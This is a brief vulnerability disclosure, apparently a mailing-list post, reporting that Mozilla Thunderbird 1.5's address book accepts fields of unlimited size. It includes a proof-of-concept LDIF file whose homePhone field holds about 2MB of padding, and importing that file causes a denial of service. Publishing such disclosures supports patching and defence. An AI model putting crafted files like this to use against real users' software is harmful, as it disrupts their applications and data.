Affected: Mozila Thunderbird 1.5 /possibly other versions/ Mozila Thunderbird 1.5 address book allows fields of unlimited size in the address book which leads to a DoS if you import such ldif file POC: create a file.ldif and insert following then import it in address book: ------- start -------- n: cn=Test POC by DrFrancky@xxxxxxxxxxx,mail=drfrancky@xxxxxxxxxxx objectclass: top objectclass: person objectclass: organizationalPerson objectclass: inetOrgPerson objectclass: mozillaAbPersonAlpha givenName: Test sn: POC by DrFrancky@xxxxxxxxxxx cn: POC by DrFrancky@xxxxxxxxxxx mozillaNickname: DrFrancky mail: drfrancky@xxxxxxxxxxx nsAIMid: DrFrancky POC modifytimestamp: 0Z homePhone: aaaaaaaaaaaaaaa[2MB of 'a'] --------- end --------- Credits: DrFrancky drfrancky@xxxxxxxxxxx
Attachment:
signature.asc
Description: OpenPGP digital signature